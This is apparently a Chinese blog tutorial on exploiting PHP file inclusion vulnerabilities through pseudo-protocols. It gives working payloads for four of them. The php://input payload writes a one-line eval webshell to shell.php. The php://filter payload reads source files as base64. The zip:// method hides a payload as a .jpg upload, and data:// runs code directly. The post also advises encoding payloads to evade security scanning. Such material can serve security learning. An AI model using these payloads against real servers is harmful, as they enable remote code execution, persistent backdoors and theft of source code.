当前位置:网站首页>文件包含之伪协议的使用
文件包含之伪协议的使用
2022-08-03 14:51:00 【一青一柠】
文件包含漏洞利用实例
1. php流的input
http://127.0.0.1/include/03/index.php?page=php://input
然后要用post类型提交数据
这里可以这么提交:
<?php
fputs(fopen("shell.php","w"),"<?php @eval(\$_POST["hack"])?>")
?>
这里通过直接写入一个木马文件,来进行攻击。
所以不只是文件上传点可以写入木马,php的input流也可以写入一句话木马。
2. php流的filter协议
?page=php://filter/read=convert.base64-encode/resource=index.php
?page=php://filter/convert.base64-encode/resource=index.php
通过指定末尾的文件,可以读取经base64编码后的文件源码,之后再base64解码一下就行。
虽然不能直接获取到shell等,但能读取敏感文件危害也是挺大的。
allow_url_include和allow_url fopen都不做要求,这是非常大的优势。
3. zip压缩流
?page=zip://C:/Users/40454/Desktop/test.jpg%23test.txt
先将要执行的PHP代码写好文件名为test.txt,将test.txt进行zip压缩,压缩文件名为test.zip,如果可以上传zip文件便直接上传,若不能便将test.zip重命名为test.jpg后再上传。、
注意,这里必须是绝对路径。
4. data协议
?file=data://text/plain,<?php phpinfo();?>
但在利用时有很多问题。
后面php代码容易被查杀,所以要灵活利用编码等方法,可以借鉴webshell免杀,原理都是一样的。
<?php phpinfo();?>在编成base64的时候出现了+。而浏览器不认识+号。解决思路:
不写后面的 ?> 因为PHP里面其实不需要写后面的 前面的 ;号就已经说明结束了。
如果没有;号就必须写 ?>作为结束。
边栏推荐
- 你把 vite打包 玩明白
- 三元表达式实现多个条件的判断
- [The Beauty of Software Engineering - Column Notes] 36 | What exactly do DevOps engineers do?
- mysql占用服务器CPU100%的解决办法
- liunx服务器nohup不输出日志文件的方法
- With 1000 lines of code statistics after the xi 'an housing prices, I have a startling discovery...
- Day2:面试必考题目
- 个人秋招记录——欢迎交流
- PAT乙级-B1015 德才论(25)
- 简单理解try catch和try finally
猜你喜欢
Jupyter Notebook 交互式编程 & 低代码拖拽式编程 | 数据科学生态下的理想平台
Detailed explanation of cloud hard disk EVS and how to use and avoid pits [HUAWEI CLOUD is simple and far]
币圈提款机:Solana钱包出现未知安全漏洞 大量用户数字资产被盗
彻底搞懂云桌面配置及实践踩坑【华为云至简致远】
Controller层代码这么写,简洁又优雅!
夜神浏览器fiddler抓包
SQL 不新增表 把一张表定义成两张
【常见 error】Vivado 综合出现中断、失败、“PID not specified”
PostgreSQL 每周新闻 2022-7-27
Lecture 2 Software Life Cycle
随机推荐
162_Power Query is a custom function for quickly merging tables in a folder TableXlsxCsv_2.0
HDU 1160 FatMouse's Speed(最长递减子序列变形)
With 1000 lines of code statistics after the xi 'an housing prices, I have a startling discovery...
问题10:注册页面的易用性测试?
redis的使用方法
Top 10 free proxy IP software_Domestic static IP proxy software
【重构map】【重构filter】【重构Some】【重构reduce方法】【重构flat函数】
PAT乙级-B1012 数字分类(20)
System learning Shell regular expressions
MySQL面试必备(一)基础篇
你把 vite打包 玩明白
一个在浏览器中看到的透视Cell实现
Clickhouse Filling the Pit 3: Left Join changed to Right Join, resulting in incorrect statistical results
【软件工程之美 - 专栏笔记】36 | DevOps工程师到底要做什么事情?
技术分享 | 接口自动化测试如何搞定 json 响应断言?
王守创:多组学整合分析揭示植物代谢多样性的分子机制(8月2号晚)
varchar2 and varchar2(char)_datetime data types
程序员面试必备PHP基础面试题 – 第十八天
Chrome browser corresponding driver_chrome mobile browser
在北极都可以穿短袖了,温度飙升至32.5℃